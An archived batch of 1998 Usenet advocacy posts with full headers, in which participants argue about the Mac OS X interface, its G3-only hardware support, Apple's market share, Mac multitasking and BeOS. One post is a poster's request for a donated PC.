References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <1dchpf0.x2f9hed1v9sgN@rhrz-isdn3-p37.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2107981835050001@news> <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2307981115550001@news> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <1dco1vu.1tcsxcs13uk71oN@hoorn23.multiweb.net> <Pine.SOL.3.96.980724134947.26891A-100000@ux8.cso.uiuc.edu>
NNTP-Posting-Date: 25 Jul 1998 00:10:29 GMT
Pulsar wrote in message ...
>
>No undo in the Finder except for file renaming. (This is a big one I
>think.)
How do you undo a file renaming in the Finder?
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Message-ID: <1998072500573000.UAA29801@ladder01.news.aol.com>
Date: 25 Jul 1998 00:57:30 GMT
Organization: AOL http://www.aol.com
References: <andyba-ya02408000R2407981123220001@news>
Even if a thing is a file from the programmer's point of view, the _user_ (who
should be central to interface concepts) may not view it as a file, with the
about panel of an application being one good example
or the screen of a game
or a screenshot
etc.
The bottom line here is that the NeXT menu system has room to spare which
allows it the flexibility of including a top level print menu, which is
logically integrated into most NeXT application menu structures--neither the
Mac, nor Windows have such flexibility to any real degree in terms of their
menu systems.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: id_est@interport.net (tse_di)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Sat, 25 Jul 1998 01:54:55 -0400
Organization: none
Message-ID: <id_est-2507980154590001@192.168.1.3>
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <1dchpf0.x2f9hed1v9sgN@rhrz-isdn3-p37.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2107981835050001@news> <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2307981115550001@news> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <1dco1vu.1tcsxcs13uk71oN@hoorn23.multiweb.net> <Pine.SOL.3.96.980724134947.26891A-100000@ux8.cso.uiuc.edu>
In article <Pine.SOL.3.96.980724134947.26891A-100000@ux8.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> The whole way of mounting and unmounting disks is not quite right in the
> Mac OS.
It is quirky.
> I like the idea put forth by Forrest (I forget last name). There is a
> shelf where mounted volumes and devices (like floppies) can be mounted.
> When a floppy is inserted, the floppy drive icon changes. In order to
> unmount and eject the floppy, the user simply has to drag to an icon near
> the bottom of the screen. (I don't remember what he suggested as a good
> unmount icon, but perhaps a small picture of the action would do along
> with an appropriate label).
>
> This does several things. It creates a standard place where all volumes
> get mounted that is separate from documents and folders. (This could be in
> addition to the Mac desktop, not necessarily instead of.) It presents an
> obvious mechanism for unmounting and ejecting a disk.
Personally, I always liked the idea of a (configurable) shelf that would
show mounted items on it (floppy disk, server volumes, CD's, Hard disks
etc) as distinct from the rest of desktop. A floppy is inserted it simply
appears on the shelf. To unmount it one drags it off the shelf (plus menu
and context menu and keyboard available). I would also like to see the
current default printer and its current status (idle, busy on one of your
jobs, busy on someone elses job) shown on the desktop.
> Not being able to drag something under the menu bar is a little annoying
> too.
Just drag it by the side or bottom,rather than the titlebar. You can drag
things under the menubar. is this what you meant?
>
> No quick way to get to higher level folders in the heirarchy if their
> windows have been closed. (Yeah. I know command-click on the title...
> that's not good enough).
How about command up-arrow? Command-Opt up-arrow opens the parent folder
and closes the original.
> No reorderable or resizable list views. I prefer to have the Size
> column first, then Kind, then Date. I can't do that with Mac OS 8.
System 8.5 does this, almost...You can resize columns and reorder them
EXCEPT name alsways has to come first.
> The Apple Menu screws up when I have several aliases to drives in my
> Apple Menu (I use MenuChoice instead now... perhaps this will be fixed in
> Mac OS 8.5). Using Apple Menu Options, the submenu brought down may show
> the contents of another disk or nothing at all. Sometimes when selecting a
> file or an application, the start up drive window opens instead no matter
> what I select. This is a big issue with me though I have a 3rd party
> solution.
I have 4 drives in my apple menu and have no problem like this. I think
you may want to delete your Apple Menu Options preferences. it is
admittedly a flakey piece of software though.
> The configurations for TCP and PPP are in two separate Control Panels.
What if you use TCP/IP with ethernet? What if you use Remote Access for
only Appletalk access and not PPP? One big network control panel might be
a good idea with controls for TCP, Appletalk (and any other protocols) and
controls for interfaces like PPP and ethernet and localtalk but I don't
know why TCP/IP and PPP should be seen as a single thing. Did you notice
that the PPP control panel lets you open the TCP/IP control panel and the
Modem Control Panel from a menu?
> PPP _requires_ a 5 second delay after a busy signal. (Which can be gotten
> around with ResEdit, but whenever you modify the preferences again, you
> have to change this back.)
These days I am starting to run into phones that don't even give you a
real busy signal, instead it goes into an add from the phone company (bell
atlantic) offering to keep dialing the number for you and call you back
when it gets though. This defeates the detection of a busy signal by most
modems (as the call was answered) rendering readial close to useless. Damn
Phone company.
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 24 Jul 1998 19:53:55 -0700
Message-ID: <see-below-2407981953550001@dynamic57.pm05.mv.best.com>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <35b6568f.0@news.depaul.edu> <mcox-ya02408000R2307981829100001@newsource.ihug.co.nz> <not-2307981027360001@ip-26-096.phx.primenet.com> <Pine.SOL.3.96.980723133426.10555A-100000@ux9.cso.uiuc.edu> <not-2307981300150001@ip-167-019.phx.primenet.com> <see-below-2407980002030001@dynamic18.pm10.mv.best.com> <not-2407981144330001@ip-26-164.phx.primenet.com>
In article <not-2407981144330001@ip-26-164.phx.primenet.com>,
not@a.valid.email.add (Michael M. Eilers) wrote:
> In article <see-below-2407980002030001@dynamic18.pm10.mv.best.com>,
> see-below@not-my-address.com (Matthew Vaughan) wrote:
>
> > > See above. More paranoia. How many Mac users do you really think sit
> > > around and have panic attacks because they *might* not be able to run the
> > > very latest up-to-the-minute OS?
> >
> > None. They'll by a PC and run NT or Linux or FreeBSD instead.
>
> Well, you just diqualified yourself from the discussion. I think the
> number of people willing to switch away from the friendly Mac gui and
> plug-and-play to the scary, command-line tweakiness of BSD or Linux could
> all fit on the same subway car. People bought their Macs for a
> *reason*--to not have to deal with stuff like that. Do you have numbers to
> back up your assetion that Mac users are switching to these OSs?
Um, how about Apple's decline in sales and market share over the past few
years, combined with the large number of companies known to have switched
their Macs wholesale to Wintels? Just because the Mac userbase has largely
been reduced to the "super-faithful" doesn't mean some of those who remain
wouldn't also consider switching. "Everyone has their price" and every
little annoyance adds up, pushing a certain proportion of people over the
edge at each threshhold.
> > Er, yeah. But OS X is aimed at high-end users, right? Otherwise, why bother?
>
> Pardon me a minute--first you bitch and moan and groan that "old" (they
> will be when OS X comes out) machines won't be supported by OS X, then you
> say it is for high-end users. Wouldn't high-end users be on their second
> G3 by the time OS X comes out? Isn't that quite a contradiction on your
> part? Contemplating having you cake and eating it too, are you?
Umm, many high-end users already have perfectly good computers that
haven't even remotely been "obsoleted" by anything Apple is offering. And
unless Apple changes their minds and puts out a 6-slot machine in the next
year (all rumors and other indications are that they have no plans to do
so), those high-end users may find post-9600/s900 boxes largely worthless
(for instance if they have >3 specialty PCI cards installed, for video or
sound work, for instance). In case you didn't notice the G3 PowerMacs were
not designed as "high-end" machines at all, and despite the fast
CPU/backside cache (which can be added to existing machines very easily)
and fast bus (which hasn't made much difference in real-world performance
so far), the G3 PowerMacs are _not_ high-end machines!
If Apple had actually shipped hardware which obsoleted past hardware on
its own merits, then you might have a point. But it would take a lot to
obsolete a 9600 or s900, especially as long as you can upgrade that 9600
with the latest CPU/backside cache. A G3 PowerMac doesn't even come close
to doing that.
> > Well, then Apple should start explaining exactly what they're doing that's
> > so improtant to justify that. Sorry, but Apple gets itself into messes
> > like this, so don't blame the customers who have a legitimate reason to
> > complain, or at least know the details involved. If Apple can't satisfy
> > these customers and isn't forthcoming with answers which would make these
> > customers change their minds, they're likely to lose those same customers.
>
> Oh yes, all six of them that are participating on this thread.
Hmm. I think you have your eyes closed. Most people don't participate in
these threads one way or another. Most people just look at their options,
make their decision, and never tell anyone. We only see a tiny tiny
fraction of the people who switched to Windows here in usenet, for
instance. If they've decided to switch, why would they keep making a lot
of noise in a mac advocacy newsgroup? They're in the other camp now, and
having chosen both under different circumstances, they probably don't have
a terribly strong preference for one or the other.
> > Wrong. All of these charges and accusations are perfectly legitimate
> > complaints from Apple's customers, which aren't going away unless Apple
> > changes their position or comes out and says exactly _why_ they needed to
> > do this and had absolutely no alternative (ie, delaying some less-critical
> > features until a later release).
>
> They *HAVE* said so, repeatedly. Mac OS X is running on G3 only because it
> is a high-end professional OS aimed at power users and professionals. They
> have never indicated anything different.
That doesn't explain anything and you should know it, Michael. It's just a
bunch of double-talk. Again, if there were something wrong with older
hardware that made it obsolete by current standards or unsuitable for
professional use, you might have a point. If Apple's currently-shipping
computers were designed for professional use, you might have a point. But
the G3 motherboard was designed for low-end products, which ended up being
sold as mid-range products with some implication that they qualified as
high-end products at the same time (all due to the performance of the G3
processor/backside cache)--more double-speak and trying to sell off cheapo
products at higher prices than they're worth for market segments they're
not really ideal for (all possible because there's no direct competition).
> yourself pointed out: Casual users get Sonata, power users (who upgrade
> their hardware often--such is the definition of a power user) get OS X.
Um, again you're confusing some terminology here. You are correct that
"power users" typically "upgrade" their hardware. But OS X doesn't require
an "upgrade" it requires a replacement of a perfectly good existing
computer with equivalent hardware--that doesn't count as an "upgrade" in
my book. An "upgrade" is either improving the computer you already have to
current standards or trading up to a clearly superior product. Again, I
don't see how a G3 PowerMac is "clearly superior" to a 9600, or in fact
any other PCI PowerMac. The only inherent advantage is the bus speed.
> > Again, they were in no way required to upgrade by the OS. They just wanted
> > a faster computer (the latest available). Are you saying everyone who runs
> > Win98 (or NT) has the resources to do so? But Mac users who wand OS X do?
> > So Mac users are now either very rich, or they're _forced_ to use an
> > extremely backward OS? (to complement their "obsolete" 9600/350, I
> > suppose...)
>
> Is it a shock to you, that computers cost money? What is this ridiculous
> attitude you people have that Apple is somehow a Robin Hood who will bring
> you the latest and greatest OS features for free? COMPUTERS COST MONEY.
Duh. But Apple, for the first time that I'm aware of in this business,
wants to force customers who bought the specific computers (from Apple)
that Apple told them to buy to run the early version of this system, with
the clear implication that these would be guaranteed support indefinitely,
to replace those same computers with another computer that does exactly
the same thing, with no additional features and no benefit in performance.
That's a _needless replacement_ and as such is a complete waste of money
for the customer.
> To
> stay on the bleeding edge, you spend money. OS X will be a bleeding edge
> OS, period. Why is this so hard for you to understand?
What's so hard to understand is where you got the fantasy that G3 PoweMacs
are somehow bleeding edge and appropriate for professional users but a
9600/350 is not. Tell me what feature a G3 PowerMac has that a 9600
doesn't? The only two that I can think of are the processor/backside
cache, which can easily be added to the 9600 since Apple designed it to be
upgraded, and the faster bus speed, which doesn't really show up in
overall performance most of the time. On the other hand, the 9600 has SCSI
that is 2x as fast as the G3, has twice as many PCI slots as the G3, and
is capable of using multiple processors. You tell me which is more
"bleeding edge."
> I am by no means a mindless advocate. I have studied the issue at hand
> extensively. I have three Macs that were "obsoleted" by the Mac OS X
> policy, and an orphaned Newton. I am not defending Apple, but pointing out
> the pathtic contradictions and suppositions in all these lame arguments
> people keep presenting.
I am also by no means a mindless Apple basher, and I too have studied the
issue at hand extensively. I only have one Mac that was "obsoleted" by the
Mac OS X policy, and wouldn't have cared too much if it alone were
excluded, since it's a fairly marginal Power Center (7200-based,
non-Apple...) However, you do appear to be defending Apple precisely by
using nothing but pathetic contradictions and suppositions and lame
arguments, which is the main reason I'm arguing with you. (Pulsar too, I'd
suspect.)
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: Macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Sat, 25 Jul 1998 07:22:45 -0700
Organization: EarthLink Network, Inc.
Message-ID: <Macghod-2507980722450001@sdn-ar-001casbarp002.dialsprint.net>
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <1dchpf0.x2f9hed1v9sgN@rhrz-isdn3-p37.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2107981835050001@news> <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2307981115550001@news> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <1dco1vu.1tcsxcs13uk71oN@hoorn23.multiweb.net> <Pine.SOL.3.96.980724134947.26891A-100000@ux8.cso.uiuc.edu> <6pb7pl$9gv$1@plo.sierra.com> <35B984CF.936A1763@nstar.net>
In article <35B984CF.936A1763@nstar.net>, Michael Peck <mjpeck@nstar.net> wrote:
> Earl Malmrose wrote:
> >
> > Pulsar wrote in message ...
> > >
> > >No undo in the Finder except for file renaming. (This is a big one I
> > >think.)
> >
> > How do you undo a file renaming in the Finder?
>
> Ctrl-Z.
Close but no cigar. Try two keys over.
--
Joe [Ragosta], do not look directly at the RDF. What you want
to do is punch a hole in a piece of cardboard and
make a pin-hole camera to observe the RDF from a safe distance.
- Sal Denaro
From: steve <steve@paule.ncpa.olemiss.edu>
Newsgroups: comp.os.linux.advocacy,comp.unix.bsd.freebsd.misc,comp.os.ms-windows.nt.advocacy,comp.sys.next.advocacy,comp.sys.powerpc.advocacy,comp.os.os2.advocacy,comp.os.ms-windows.advocacy,comp.os.mac.advocacy,comp.sys.mac.advocacy
Subject: A way to be PC-less
Date: Sat, 25 Jul 1998 10:17:24 -0400
Organization: The University of Mississippi
Message-ID: <Pine.LNX.3.96.980725095429.2732A-100000@paule>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
This is neither a joke, nor an invitation for flames. If you don't
approve of this, please just ignore it, okay?
Well, now. As a lot of you
mac guys mislike pc's, if anyone has an old
one laying round, a 486 or an older pentium, my wife, a teacher, and I
could sur use a donation, for reasons best not gone into at this time.
Seriously (despite the Due South reference), if anyone has an old pc in
the attic or closet or basement, and could spare it, we'd appreciate it.
Naturally, if a windows or linux or freebsd type wants to donate,
we would hardly object!
Thanks,
Steven Zanvil Sawolkin
228-G Freedom Dr.
Belleville, IL
U.S.A. 62226-5184
618-277-7380
lymond@peaknet.net
alternate: jgerdes@stlair.k12.il.us
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Sat, 25 Jul 1998 09:29:51 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2507980930080001@pm3a23.rmac.net>
References: <6or4sj$83a$1@supernews.com> <forrestDELETE-THIS!-1807981526100001@term3-17.vta.west.net> <6ot1mh$m32$2@supernews.com>
NNTP-Posting-Date: 25 Jul 1998 15:28:02 GMT
In article <6ot1mh$m32$2@supernews.com>, a l t e n ber@nashville.com
(delete spaces, spam trick) wrote:
> In <forrestDELETE-THIS!-1807981526100001@term3-17.vta.west.net> Forrest
> Cameranesi wrote:
> > Oy vey, I'm getting sick of this. The Mac OS can multitask, it's just
> > cooperative multitasking instead of preemptive. It's up to the apps to get
> > along and say "ok, you can do something now".
>
> So, it's not the MacOS that fails to multitask, it's the APPS that fail to
> multitask, right?
Pretty much so...and most apps it appears get along fine.
> > A good FTP client like Fetch
> > won't put up a modal dialog when uploading (if you don't understand the
> > terminalogy, a 'modal dialog' is a dialog window that doesn't let you do
> > anything else. It's usefull for important warning and error dialogs, but
> > some developers are so moronic and use them for things like uploads, etc).
> > But Netscape's FTP is notoriously horrible in every respect.
> >
>
> Fortunately, Fetch is a part of the MacOS, right, just like Stuffit? So when
> I go to any Mac system --- at any Kinkos or elsewhere --- Fetch will be right
> there ready for me to use, right?
Well, Netscape isn't part of the OS either. So when you go to any Mac
system you'll have to hope that they've installed something on it. Now
you might say that Netscape is more likely to be installed than
Fetch...something I would agree with.
So now I ask: Did anybody try FTP'ing with Netscape to see how well it
works? My guess is no, as I did and everything worked just as it did with
Fetch. I started (in fact it's still going as I write this) the same ~7MB
file download. Opened up the same file in Photoshop 3.0.5 and applied the
same two filters (sphereize and KPT page curl), opened Word 5.1a and
started typing and finally came back to MT newswatcher to write this
response. It all worked fine with Netscape FTP'ing in the background.
So again...the Macs multitasking is not perfect, but it works for the
majority of tasks that the majority of people need to do. If your not one
of these people, then the Mac is not for you. But this arguement is more
applicable for advocacy instead of real world, for most people.
Now excuse my while I abort the FTP in netscape and close all the other
programs I worked with in order to show that the Mac does multitask quite
well.
Josh
Date: Fri, 24 Jul 1998 22:32:54 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2407982232540001@elk55.dol.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <joe.ragosta-2407981107010001@wil63.dol.net> <6padmi$91m$1@server.signat.org> <gmgraves-2407981733370001@sf-usr1-29-157.dialup.slip.net>
In article <gmgraves-2407981733370001@sf-usr1-29-157.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> In article <6padmi$91m$1@server.signat.org>, maury@remove_this.istar.ca
> (Maury Markowitz) wrote:
>
> > In <joe.ragosta-2407981107010001@wil63.dol.net> Joe Ragosta wrote:
> > > AIM set up a team to develop a new series of processors. Someone stated
> > > that they claimed they were going to have 10% of the CPU market. I don't
> > > remember that, but let's say it's true.
> >
> > According to Rumors Apple has 9% of the market again, so it's almost true.
>
> Yes Apple now has 9.4% marketshare for this past quarter and has risen to
> the number 5 spot in unit shipments. But the Mac OS is still at 3% and not
> growing a lick. This means that Apple is STILL selling to the choir only.
Your statement is wrong.
Apple's _retail_ market share is over 9%. It's _overall_ share is around
4%. I don't know where you came up with a 3% figure.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 24 Jul 1998 22:36:17 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2407982236180001@elk55.dol.net>
References: <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <tbrown-1707982135270001@mv099.axom.com> <35B19951.CFB0631F@cloud9.net> <joe.ragosta-1907980715010001@elk55.dol.net> <6otqmo$s04$3@hecate.umd.edu> <joe.ragosta-2007980638300001@elk43.dol.net> <6p51vm$k5l$1@hecate.umd.edu> <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <gmgraves-2207982342130001@sf-usr1-9-137.dialup.slip.net> <joe.ragosta-2307981259010001@wil73.dol.net> <6p85g8$g4q$1@news01.deltanet.com> <pxpst2-2307981657470001@pelli.pathology.pitt.edu> <gmgraves-2407981227060001@sf-usr1-3-131.dialup.slip.net>
In article <gmgraves-2407981227060001@sf-usr1-3-131.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> In article <pxpst2-2307981657470001@pelli.pathology.pitt.edu>,
> pxpst2@SPAM.SUXS.unixs.cis.pitt.edu wrote:
>
>
> > All in all MOT is fucked because they are bad at predicting products of
> > the future. They are stuck with MASSIVE stockpiles of Analog cell phones
> > and it is the Digital cell phones that are selling. Mot did not pay
> > attention to a changing market in their bread and butter industry. The
> > chips are just a Hobby that may make them money in 3 years not now
>
>
> Iridium has GOT to be costing Motorola a fortune. Anyone know how those
> satellite costs have affected their bottom line?
They claim that their business plan allowed for 9 to fail. So far, 7 have
failed. The bigger problem is that it's looking like it won't be ready
for full deployment next month when they were supposed to be ready.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: Macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.ibm.pc.hardware.chips,comp.sys.intel,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Intel and copper interconnects.
Date: Fri, 24 Jul 1998 23:28:09 -0700
Organization: EarthLink Network, Inc.
Message-ID: <Macghod-2407982328100001@sdn-ar-001casbarp295.dialsprint.net>
References: <6p83dq$os2$1@hecate.umd.edu> <charles.bouldin-2307981717280001@h196132.nist.gov> <6p8bai$e5d$1@hecate.umd.edu> <joe.ragosta-2407980816370001@wil49.dol.net> <35b88a2c.1279540@news.dgii.com> <joe.ragosta-2407980940360001@wil46.dol.net> <35b8b6c0.86255362@nntp.stanford.edu> <joe.ragosta-2407981622380001@wil51.dol.net> <6pbbud$1ta$1@samsara0.mindspring.com> <charles.bouldin-2407982141130001@chuckb.mnsinc.com>
In article <charles.bouldin-2407982141130001@chuckb.mnsinc.com>,
charles.bouldin@nist.gov (Charles Bouldin) wrote:
> I said the graveyard thing. And, you should go to any web news source and
> read that Apple's market share is now 9.4%, up from a low of 4%. Apple has
> had 3 consecutive profitable quarters and made more money per share than
> Compaq, even if you discount Compaq's huge loss from the acquisition of
> Digital. Apple stock has TRIPLED in price in six months.
>
> Perhaps you need a new crystal ball, the present one seems a bit murky.
Ummm, sorry, but that is total bullcrap. "apple's market share": what
does that mean? If someone says "market share" and does not qualify it,
what does it mean? Does it mean "marketshare of people buying apple
computers named Steve on their bday who live in outer mongolia"? No.
Does it mean "marketshare of of people whose parents are two lesbian
sisters who were impregnated in a jacuzzi"?
No. Does it mean "only counting retail sales, and only in the city of
Strawberry California"? No. It means TOTAL number of computers sold in
whole world, no restriction as to if its locale or market.
This 9.4 figure was only for the US and only for retail. So the people
who reported it were on crack. Btw, the report, from what I read, didnt
list Dell. Is that because from one report I saw, this was only of retail
stores like comp usa etc, and dell doesnt sell from them? And if so, did
they include apples sales from the apple store? If you dont include bto
sales from dell you cant include bto from apple.
So what is apple's REAL market share numbers?
--
Joe [Ragosta], do not look directly at the RDF. What you want
to do is punch a hole in a piece of cardboard and
make a pin-hole camera to observe the RDF from a safe distance.
- Sal Denaro
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sat, 25 Jul 1998 11:09:10 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35BA0326.68639EC@nstar.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <35B8D9F4.D6C93C1@ericsson.com> <joe.ragosta-2407981626250001@wil51.dol.net> <35B8F293.F58D0926@ericsson.com> <6pbia6$mbj@newsb.netnews.att.com> <6pc1sr$jr3@bgtnsc02.worldnet.att.net> <joe.ragosta-2507980701040001@elk43.dol.net>
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NNTP-Posting-Date: 25 Jul 1998 16:19:11 GMT
Joe Ragosta wrote:
> If that's not enough, Linux has done it
> and Be can build on their work.
Someone needs to read the GPL.
MJP
Date: Sat, 25 Jul 1998 06:55:34 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2507980655350001@elk43.dol.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <Pine.NXT.3.96.980724125137.20132J-100000@pathos> <35B8D9F4.D6C93C1@ericsson.com> <joe.ragosta-2407981626250001@wil51.dol.net> <6pbko2$jvn$1@news.xmission.com>
In article <6pbko2$jvn$1@news.xmission.com>, Kristofer Jon Magnusson
<kris@xmission.xmission.com> wrote:
> In comp.sys.next.advocacy Joe Ragosta <joe.ragosta@dol.net> wrote:
>
> > Novell dropped Netware for PPC.
> > APPLE HAD NOTHING TO DO WITH [Novell dropping the PPC arch.]
>
> You don't know what you are talking about.
>
Nice rebuttal. I present a bunch of facts and you just mouth off. Care to
be specific?
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sat, 25 Jul 1998 07:01:04 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2507980701040001@elk43.dol.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <35B8D9F4.D6C93C1@ericsson.com> <joe.ragosta-2407981626250001@wil51.dol.net> <35B8F293.F58D0926@ericsson.com> <6pbia6$mbj@newsb.netnews.att.com> <6pc1sr$jr3@bgtnsc02.worldnet.att.net>
In article <6pc1sr$jr3@bgtnsc02.worldnet.att.net>, "Jim Coffey"
<jlc@bocus.uchicago.org> wrote:
> gupta@kcopsrm.tm.tta.moc-mirror after @ wrote in message
> <6pbia6$mbj@newsb.netnews.att.com>...
> >Michael Peck <Michael.Peck@ericsson.com> wrote:
>
> >
> >I haven't tried it, but doesn't PPC-Linux run on the G3s ?
> >Since that is open-source code, I would imagine that what
> >you need to know to run an OS on the G3 machines is in the
> >public domain.
> >
>
> Nonetheless, Apple's refusal to provide Be with the information sure makes
> it look like they will do whatever it takes to maintain their stranglehold
> on OS's for the Macintosh based PPC platform.
>
> Be *may* be wary of using Linux to reverse engineer the Mac, not because
> Linux' implemntation has problems, but because they might run up against the
> copy-left if they use similar code to Linux in BeOS.
Sounds like a pretty feeble excuse. The information needed to make an OS
run on G3s is publicly available. If that's not enough, Linux has done it
and Be can build on their work. I agree with whoever (Jason S?) said Be
was a bunch of whiners.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 24 Jul 1998 18:16:49 -0700
Organization: Fearful Symmetry Designs
Sender: meilers@ip-26-140.phx.primenet.com
Message-ID: <not-2407981816490001@ip-26-140.phx.primenet.com>
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Mail-Copies-To: eilersm@psn.net
`vmEi&(y';5Th{Li4G1HXItb0_)&PWr
In article <Pine.SOL.3.96.980724150050.26891B-100000@ux8.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
Ryan, you've raised a lot of good points, but I just don't have the time
or energy to discuss them all. However, ther were some that were very
interesting, so I've responded to them below:
> There is something strange about Mac
> > users: we tend to drop $3000 on a Mac once, then hold on to it forever,
> > while our PC colleagues spend $1200 a year upgrading and modifying their
> > machines constantly. I don't see any problem with Apple wanting to make
> > their new hardware that more attractive.
>
> Apple doesn't do anything to make the OS more attractive either. You said
> a lot of your friends bought new machines just for Windows 98, well Apple
> has never given us an incentive to do this. Doing this to Mac OS X goes
> about it in the wrong way.
Windows 95 and 98 were andvertised in such a way that hardware had nothing
to do with it--it was all "click! Flash! Internet! Zowie! Color! Where Do
You Want To Go Today?" The fact that Windows 95/98 drove hardware sales
was a side effect, especially Windows 98, as many computer magazines
actually advocated buying a new machine over installing over 95, because
of the collossal headaches.
I don't think Mac OS X will be advertised (if it is at all) as a
headrware-breaker either, or as a reason to upgrade. I think Apple
considers OS X the OS to run on its "flagship" systems, and will pitch it
in that way, and just pretend old hardware doesn't exist. That's just
speculation on my part, but it rings true with Jobs and Tervanian's
remarks at Macworld. Both had a pretty disdainful attitue of older
hardware, saying that it would be "extremely unlikely" that OS X would run
on G3-upgraded systems or clones.
> Mac users don't give much of a damn about the hardware. It's the OS.
Actually, I would say the GUI rather than the OS, but you are
fundamentally correct.
>The
> hardware is an expensive route to the OS. Once they have the OS though
> Apple does nothing to persuade users that they should have new versions.
> Apple did a little better with Mac OS 8 than in the past, but it could do
> better still.
You are right about this, in a sense: Apple does not do enough to push the
OS, and sticks to advertising the hardware. I think the reason for this is
that OS differences are really hard to make compelling in a 30-second
